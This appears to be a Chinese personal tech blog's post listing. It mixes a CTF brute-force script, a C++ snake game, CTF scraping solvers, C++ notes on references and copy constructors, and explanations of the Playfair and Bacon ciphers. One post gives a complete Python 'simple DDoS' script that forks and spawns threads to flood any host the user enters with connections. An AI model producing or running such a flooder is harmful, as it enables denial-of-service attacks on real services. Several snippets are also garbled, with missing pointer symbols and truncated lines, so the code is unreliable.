Greedy Snake
1 |
|
i春秋欢乐赛web象棋python爆破
import urllib2
import urllib
import time
import threading
global is_cracked=False
def crack(m):
for t in m:
if is_cracked:
break
try:
print urllib2.urlopen(“http://9bcc1a1a7dda42f9ba608c15d17187a7280921b9ef534c7b.ctf.game/js/"+t).read()
is_cracked=True
except:
continue
def div_list(ls,n): #一个常用的分割字符串的函数
if not isinstance(ls,list) or not isinstance(n,int):
return []
ls_len = len(ls)
if n<=0 or 0==ls_len:
return []
if n > ls_len:
return []
elif n == ls_len:
return [[i] for i in ls]
else:
j = ls_len/n
k = ls_len%n
ls_return = []
for i in xrange(0,(n-1)j,j):
ls_return.append(ls[i:i+j])
ls_return.append(ls[(n-1)j:])
return ls_return
s1=”abcmlyx”
query=[]
for m in s1:
for t in s1:
for q in xrange(0,10):
for r in xrange(0,10):
for v in xrange(0,10):
query.append(“%s%sctf%d%d%d\n”%(m,t,q,r,v))
ls2=div_list(query,50)
for ea in ls2:
t=threading.Thread(target=crack,args=(ea,))
t.start()
t.join()
双向链表与easyx实现简易贪吃蛇
/**
文件:snake.cpp
编写者:image
编写日期:2017年1月28号
简要描述:贪吃蛇游戏，可加速
**/
#include “stdafx.h”
#include #include #include #include #define FRAME_WIDTH 50
#define FRAME_HEIGHT 50
using namespace std;
enum direction { t, b, l, r };
class Snake;
struct food{
int pos_x, pos_y;
};
class section {
section front;
section rear;
direction direct;
int pos_x, pos_y;
friend class Snake;
public:
section(section fr=NULL,direction dir=t, section re = NULL ) {
front=fr;
rear = re;
direct = dir;
pos_x = pos_y = 25;
}
section makenext() {
rear = new section(this,this->direct);
switch (this->direct) {
case 0: {
rear->pos_x = this->pos_x;
rear->pos_y = this->pos_y + 1;
break;
}
case 1: {
rear->pos_x = this->pos_x;
rear->pos_y = this->pos_y - 1;
break;
}
case 2: {
rear->pos_x = this->pos_x + 1;
rear->pos_y = this->pos_y;
break;
}
case 3: {
rear->pos_x = this->pos_x - 1;
rear->pos_y = this->pos_y;
break;
}
}
return rear;
}
void move() {
setcolor(BLACK);
setfillcolor(BLACK);
fillcircle(pos_x 480 / FRAME_WIDTH, pos_y 480 / FRAME_HEIGHT, 480 / FRAME_WIDTH / 2);
switch (this->direct) {
case 0: {
this->pos_x = this->pos_x;
this->pos_y = this->pos_y - 1;
break;
}
case 1: {
this->pos_x = this->pos_x;
this->pos_y = this->pos_y + 1;
break;
}
case 2: {
this->pos_x = this->pos_x - 1;
this->pos_y = this->pos_y;
break;
}
case 3: {
this->pos_x = this->pos_x + 1;
this->pos_y = this->pos_y;
break;
}
}
if (this->front == NULL)
setfillcolor(RED);
else
setfillcolor(GREEN);
fillcircle(pos_x 480/FRAME_WIDTH, pos_y * 480/FRAME_HEIGHT, 480 / FRAME_WIDTH/2);
if(this->rear!=NULL)
this->rear->move();
if (this->front != NULL&&this->direct != this->front->direct)
this->direct = this->front->direct;
}
};
class Snake {
section head;
section tail;
int length;
int eatentimes;
public:
food foo;
Snake() {
this->head =this->tail= new section();
this->length = 1;
eatentimes = 0;
}
void Add() {
tail=tail->makenext();
length++;
}
bool is_alive() {
section p = head->rear;
while(p != NULL) {
if (p->pos_x == head->pos_x&&p->pos_y == head->pos_y) {
return false;
}
p = p->rear;
}
return head->pos_x != 0 && head->pos_y != 0 && head->pos_x != FRAME_WIDTH && head->pos_y != FRAME_HEIGHT;
}
void move() {
head->move();
if (is_Food()) {
if (eatentimes == 5) {
for (int i = 0; i < 5; i++)
Add();
eatentimes = 0;
setfillcolor(BLACK);
fillcircle(foo.pos_x 480 / FRAME_WIDTH, foo.pos_y * 480 / FRAME_HEIGHT, 480 / FRAME_WIDTH);
makeFood();
}
else {
Add();
makeFood();
}
}
}
void turn(direction dir) {
head->direct = dir;
}
int getSpeed() {
return 5000/length;
}
void makeFood() {
int random\_X = rand() % (FRAME\_WIDTH-1)+1;
int random\_Y = rand() % (FRAME\_HEIGHT-1)+1;
section *p = head;
while (p != NULL) {
if (p->pos\_x == random\_X&&p->pos\_y == random\_Y) {
random\_X = rand() % FRAME\_WIDTH;
random\_Y = rand() % FRAME\_HEIGHT;
}
p = p->rear;
}
foo.pos\_x = random\_X;
foo.pos\_y = random\_Y;
setfillcolor(YELLOW);
if(eatentimes==4)
fillcircle(foo.pos\_x * 480 / FRAME\_WIDTH, foo.pos\_y * 480 / FRAME\_HEIGHT, 480 / FRAME_WIDTH );
else
fillcircle(foo.pos\_x * 480 / FRAME\_WIDTH, foo.pos\_y * 480 / FRAME\_HEIGHT, 480 / FRAME_WIDTH /2);
eatentimes++;
}
bool is_Food() {
return head->pos\_x == foo.pos\_x&&head->pos\_y == foo.pos\_y;
}
void Init() {
initgraph(480, 480);
char ch;
makeFood();
for (int i = 0; i < 5; i++) {
Add();
}
while(true) {
int speed = getSpeed();
if (_kbhit()) {
if (_kbhit()) {
speed /= 2;
}
ch = _getch();
switch (ch) {
case 'w': turn(t); break;
case 's': turn(b); break;
case 'a':turn(l); break;
case 'd':turn(r); break;
}
}
Sleep(speed);
move();
if (!is_alive())
break;
}
settextcolor(WHITE);
outtext(_T("蛇死掉了 按任意键退出游戏"));
_getch();
}
};
int main() {
srand(time(0));
Snake snake;
snake.Init();
}
python多线程简易ddos
#! /usr/bin/env python
#coding=utf-8
import threading
from time import ctime,sleep
from socket import *
import os
def ddos(HOST):
PORT=80
ADDR=(HOST,PORT)
while True:
try:
tcpsock=socket(AF_INET,SOCK_STREAM)
tcpsock.connect(ADDR)
tcpsock.send(“GET / HTTP/1.1\r\n”)
tcpsock.send(“HOST:localhost\r\n\n”)
print “one attack”
tcpsock.close()
except Exception,e:
print “error ocurred”
try:
host=raw_input(“please enter the destination:”)
threads=[]
for m in xrange(0,10):
os.fork()
for i in xrange(0,100):
ti=threading.Thread(target=ddos,args=(host,))
threads.append(ti)
if __name__==’__main__‘:
for t in threads:
t.setDaemon(True)
t.start()
t.join()
except Exception,e:
print “error occured”
三种语言实现idf实验室字符统计
php:
((.|\n)*?)
/iU”,$content,$conse);
$w=0;
$o=0;
$l=0;
$d=0;
$y=0;
for($i=0;$i$ans);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
preg_match(“/你(.*?)}/iU”,$result,$str);
echo $str[0].”\n”;
?>
python:
#! /usr/bin/env python
#coding=utf-8
import cookielib
import urllib
import urllib2
from bs4 import BeautifulSoup
cookie=cookielib.MozillaCookieJar()
handler=urllib2.HTTPCookieProcessor(cookie)
opener=urllib2.build_opener(handler)
response=opener.open(‘http://ctf.idf.cn/game/pro/37/')
s=BeautifulSoup(response.read(),”lxml”)
query=unicode(s.body.text)
w=query.count(‘w’)-1
o=query.count(‘o’)-1
l=query.count(‘l’)-1
d=query.count(‘d’)-1
y=query.count(‘y’)-1
answer=’%d%d%d%d%d’%(w,o,l,d,y)
value={“anwser”:answer}
DATA=urllib.urlencode(value)
req=urllib2.Request(“http://ctf.idf.cn/game/pro/37/",DATA)
ans=opener.open(req)
text=unicode(BeautifulSoup(ans.read(),”lxml”).body.text)
print text[text.index(u”你”):text.index(‘}’)+1]
java:
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.jsoup.Connection;
import org.jsoup.Jsoup;
import org.jsoup.Connection.Method;
import org.jsoup.Connection.Response;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;
import java.io.IOException;
class solve{
public static void main(String args[]){
try{
String url=”http://ctf.idf.cn/game/pro/37/";
Map cookies=null;
Response res=Jsoup.connect(url).execute();
cookies=res.cookies();
Document doc=res.parse();
String conse=doc.text();
int w=-1,o=-1,l=-1,d=-1,y=-1;
for(int i=0;i
c++引用作为函数的参数与函数的返回值
Posted on
|
Edited on
|
In
技术学习
本文转自：http://blog.csdn.net/zhongguoren666/article/details/8523458 “引用作为函数参数”与 “引用作为函数返回值” 一、引用作为函数参数 作为函数参数时引用有两种原因： 1、在函数内部会对此参数进行修改 2、提高函数调用和运行效率 关于第一点，都知道C++里提到函数就会提到形参和实参。如果函数的参数实质就是形参，不过这个形参的作用域只是在函数体内部，也就是说实参和形参是两个不同的东西，要想形参代替实参，肯定有一个值的传递。函数调用时，值的传递机制是通过“形参=实参”来对形参赋值达到传值目的，产生了一个实参的副本。即使函数内部有对参数的修改，也只是针对形参，也就是那个副本，实参不会有任何更改。函数一旦结束，形参生命也宣告终结，做出的修改一样没对任何变量产生影响。 例如： void swap(int p1, int p2) //对两个变量进行交换处理。此处函数的形参为p1, p2，没有引用 { int p; p = p1; p1 = p2; p2 = p; } void main( ) { int a,b; cin >> a >> b; //输入a,b两变量的值 swap(a,b); //直接以变量a和b作为实参调用swap函数 cout << a << ‘ ‘ << b; //输出结果 你会发现输出的a和b还是你输入的值，没有交换。 如果我们改为： void swap(int &p1, int &p2) //对两个变量进行交换处理。此处函数的形参为p1, p2都是引用 { int p; p = p1; p1 = p2; p2 = p; } 再次执行，就会发现值交换了。 原理就在于采用&p1和&p2时，p1和p2是实参的别名而已，像一个指针指向实参。改变p1和p2就是改变实参的值。 关于第二点，可以结合第一点分析，p1和p2是实参的引用，不用经过值的传递机制，已经有了实参值的信息。所以没有了传值和生成副本的时间和空间消耗。当程序对效率要求比较高时，这是非常必要的. 二、引用作为函数返回值 说明： （1）以引用返回函数值，定义函数时需要在函数名前加& （2）用引用返回一个函数值的最大好处是，在内存中不产生被返回值的副本。 例如： #include float temp; //定义全局变量temp float fn1(float r); //声明函数fn1 float &fn2(float r); //声明函数fn2 float fn1(float r) //定义函数fn1，它以返回值的方法返回函数值 { temp=(float)(r*r*3.14); return temp; } float &fn2(float r) //定义函数fn2，它以引用方式返回函数值 { temp=(float)(r*r*3.14); return temp; } void main() //主函数 { float a=fn1(10.0); //第1种情况，系统生成要返回值的副本（即临时变量） float &b=fn1(10.0); //第2种情况，可能会出错（不同 C++系统有不同规定） //不能从被调函数中返回一个临时变量或局部变量的引用 float c=fn2(10.0); //第3种情况，系统不生成返回值的副本 //可以从被调函数中返回一个全局变量的引用 float &d=fn2(10.0); //第4种情况，系统不生成返回值的副本 //可以从被调函数中返回一个全局变量的引用 cout<
c++拷贝构造函数与赋值函数
Posted on
|
Edited on
|
In
技术学习
赋值运算符和复制构造函数都是用已存在的B对象来创建另一个对象A。不同之处在于：赋值运算符处理两个已有对象，即赋值前B应该是存在的；复制构造函数是生成一个全新的对象，即调用复制构造函数之前A不存在。 CTemp a(b); //复制构造函数，C++风格的初始化 CTemp a=b; //仍然是复制构造函数，不过这种风格只是为了与C兼容，与上面的效果一样，在这之前a不存在，或者说还未构造好。 CTemp a; a=b; //赋值运算符 在这之前a已经通过默认构造函数构造完成。 实例总结： 重点:包含动态分配成员的类 应提供拷贝构造函数,并重载”=”赋值操作符。 以下讨论中将用到的例子: class CExample { public: CExample(){pBuffer=NULL; nSize=0;} ~CExample(){delete pBuffer;} void Init(int n){ pBuffer=new char[n]; nSize=n;} private: char *pBuffer; //类的对象中包含指针,指向动态分配的内存资源 int nSize; }; 这个类的主要特点是包含指向其他资源的指针。 pBuffer指向堆中分配的一段内存空间。 一、拷贝构造函数 调用拷贝构造函数1 int main(int argc, char* argv[]) { CExample theObjone; theObjone.Init(40); //现在需要另一个对象,需要将他初始化称对象一的状态 CExample theObjtwo=theObjone;//拷贝构造函数 … } 语句”CExample theObjtwo=theObjone;”用theObjone初始化theObjtwo。 其完成方式是内存拷贝，复制所有成员的值。 完成后，theObjtwo.pBuffer==theObjone.pBuffer。 即它们将指向同样的地方（地址空间），指针虽然复制了，但所指向的空间内容并没有复制，而是由两个对象共用了。这样不符合要求，对象之间不独立了，并为空间的删除带来隐患。 所以需要采用必要的手段来避免此类情况。 回顾以下此语句的具体过程:通过拷贝构造函数（系统默认的）创建新对象theObjtwo，并没有调用theObjtwo的构造函数（vs2005试验过）。 可以在自定义的拷贝构造函数中添加输出的语句测试。 注意： 对于含有在自由空间分配的成员时，要使用深度复制，不应使用浅复制。 调用拷贝构造函数2 当对象直接作为参数传给函数时，函数将建立对象的临时拷贝，这个拷贝过程也将调同拷贝构造函数。 例如 BOOL testfunc(CExample obj); testfunc(theObjone); //对象直接作为参数。 BOOL testfunc(CExample obj) { //针对obj的操作实际上是针对复制后的临时拷贝进行的 } 调用拷贝构造函数3 当函数中的局部对象被被返回给函数调者时，也将建立此局部对象的一个临时拷贝，拷贝构造函数也将被调用 CTest func() { CTest theTest; return theTest } 二、赋值符的重载 下面的代码与上例相似 int main(int argc, char argv[]) { CExample theObjone; theObjone.Init(40); CExample theObjthree; theObjthree.Init(60); //现在需要一个对象赋值操作,被赋值对象的原内容被清除，并用右边对象的内容填充。 theObjthree=theObjone; return 0; } 也用到了”=”号，但与”一、”中的例子并不同，”一、”的例子中，”=”在对象声明语句中，表示初始化。更多时候,这种初始化也可用括号表示。 例如 CExample theObjone(theObjtwo); 而本例子中，”=”表示赋值操作。将对象theObjone的内容复制到对象theObjthree;，这其中涉及到对象theObjthree原有内容的丢弃，新内容的复制。 但”=”的缺省操作只是将成员变量的值相应复制。旧的值被自然丢弃。 由于对象内包含指针，将造成不良后果:为了避免内存泄露，指针成员将释放指针所指向的空间，以便接受新的指针值，这正是由赋值运算符的特征所决定的。但如果是”x=x”即自己给自己赋值，会出现什么情况呢？x将释放分配给自己的内存，然后，从赋值运算符右边指向的内存中复制值时，发现值不见了。 因此，包含动态分配成员的类除提供拷贝构造函数外，还应该考虑重载”=”赋值操作符号。 类定义变为: class CExample { … CExample(const CExample&); //拷贝构造函数 CExample& operator = (const CExample&); //赋值符重载 … }; //赋值操作符重载 CExample & CExample::operator = (const CExample& RightSides) { nSize=RightSides.nSize; //复制常规成员 char \temp=new char[nSize]; //复制指针指向的内容 memcpy(temp, RightSides.pBuffer, nSize*sizeof(char)); delete []pBuffer; //删除原指针指向内容 (将删除操作放在后面，避免X=X特殊情况下，内容的丢失) pBuffer=temp; //建立新指向 return *this } 三、拷贝构造函数使用赋值运算符重载的代码。 CExample::CExample(const CExample& RightSides) { pBuffer=NULL; *this=RightSides //调用重载后的”=” }
playfair
它有一些不太明显的特征：密文的字母数一定是偶数；任意两个同组的字母都不会相同，如果出现这种字符必是乱码和虚码。 编写分三步：1.编制密码表 2.整理明文 3.编写密文 构成部分：1.密钥 2.明文3.密文4.注明的某个字母代替的另一个字母。
加密
编制密码表
第一步是编制密码表。在这个5*5的密码表中，共有5行5列字母。第一列（或第一行）是密钥,其余按照字母顺序。密钥是一个单词或词组，若有重复字母，可将后面重复的字母去掉。当然也要把使用频率最少的字母去掉。如：密钥是Live and learn,去掉后则为liveandr。如果密钥过长可占用第二列或行。
如密钥crazy dog，可编制成
C
D
F
M
T
R
O
H
N
U
A
G
I ( J )
P
V
Z
B
K
Q
W
Y
E
L
S
X
整理明文
第二步整理明文。将明文每两个字母组成一对。如果成对后有两个相同字母紧挨或最后一个字母是单个的，就插入一个字母X（或者Q）。
如，communist，应成为co,mx,mu,ni,st。
编写密文
最后编写密文。对明文加密规则如下：
1 若p1 p2在同一行，对应密文c1 c2分别是紧靠p1 p2 右端的字母。其中第一列被看做是最后一列的右方。如，按照前表，ct对应dc
2 若p1 p2在同一列，对应密文c1 c2分别是紧靠p1 p2 下方的字母。其中第一行被看做是最后一行的下方。
3 若p1 p2不在同一行，不在同一列，则c1 c2是由p1 p2确定的矩形的其他两角的字母（至于横向替换还是纵向替换要事先约好，或自行尝试）。如，按照前表，wh对应ku或uk。
如，依照上表，明文where there is life,there is hope.
可先整理为：WH ER ET HE RE IS LI FE TH ER EI SH OP EX
然后密文为：KU YO XD OL OY PL FK DL FU YO LG LN NG LY
将密文变成大写，然后几个字母一组排列。
如5个一组就是KUYOX DOLOY PLFKD LFUYO LGLNN GLY
解密
Playfair解密算法首先将密钥填写在一个5*5的矩阵中（去Q留Z），矩阵中其它未用到的字母按顺序填在矩阵剩余位置中，根据替换矩阵由密文得到明文。
对密文解密规则如下：
1 若c1 c2在同一行，对应明文p1 p2分别是紧靠c1 c2 左端的字母。其中最后一列被看做是第一列的左方。
2 若c1 c2在同一列，对应明文p1 p2分别是紧靠c1 c2 上方的字母。其中最后一行被看做是第一行的上方。
3 若c1 c2不在同一行，不在同一列，则p1 p2是由c1 c2确定的矩形的其他两角的字母。
其实就是反其道而行之。
练习
一： 密钥：boys and girls are students ( 按行填充密钥, 不在同一行的明文字母, 行不变列变)
密文 GUUID BCYXN YOETK RUGAB EMBCE TDICQ LDHYB JRMRD IRCV
明文(原文)：It is not a problem. It is a challenge. Enjoy facing it.
二：密钥：father ( 按行填充密钥, 不在同一行的明文字母, 行变列不变)
密文：OPHEN UMRFP EFPVI DLRGQ NRRNW RHKNR SVNYF HSVFI IJRQP AFK
明文(原文)：Nothing in the world is difficult, if you set your mind to it.
培根密码
第一种方式
A aaaaa
B aaaab
C aaaba
D aaabb
E aabaa
F aabab
G aabba
H aabbb
I abaaa
J abaab
K ababa
L ababb
M abbaa
N abbab
O abbba
P abbbb
Q baaaa
R baaab
S baaba
T baabb
U babaa
V babab
W babba
X babbb
Y bbaaa
Z bbaab
第二种方式
a AAAAA g AABBA n ABBAA t BAABA
b AAAAB h AABBB o ABBAB u-v BAABB
c AAABA i-j ABAAA p ABBBA w BABAA
d AAABB k ABAAB q ABBBB x BABAB
e AABAA l ABABA r BAAAA y BABBA
f AABAB m ABABB s BAAAB z BABBB
举例
如：密文是LOVE，用“随意选取句子和文”加密，得到结果就是“SuIyI XuaNq uJUzi HEwEN”（这里用小写代表斜体）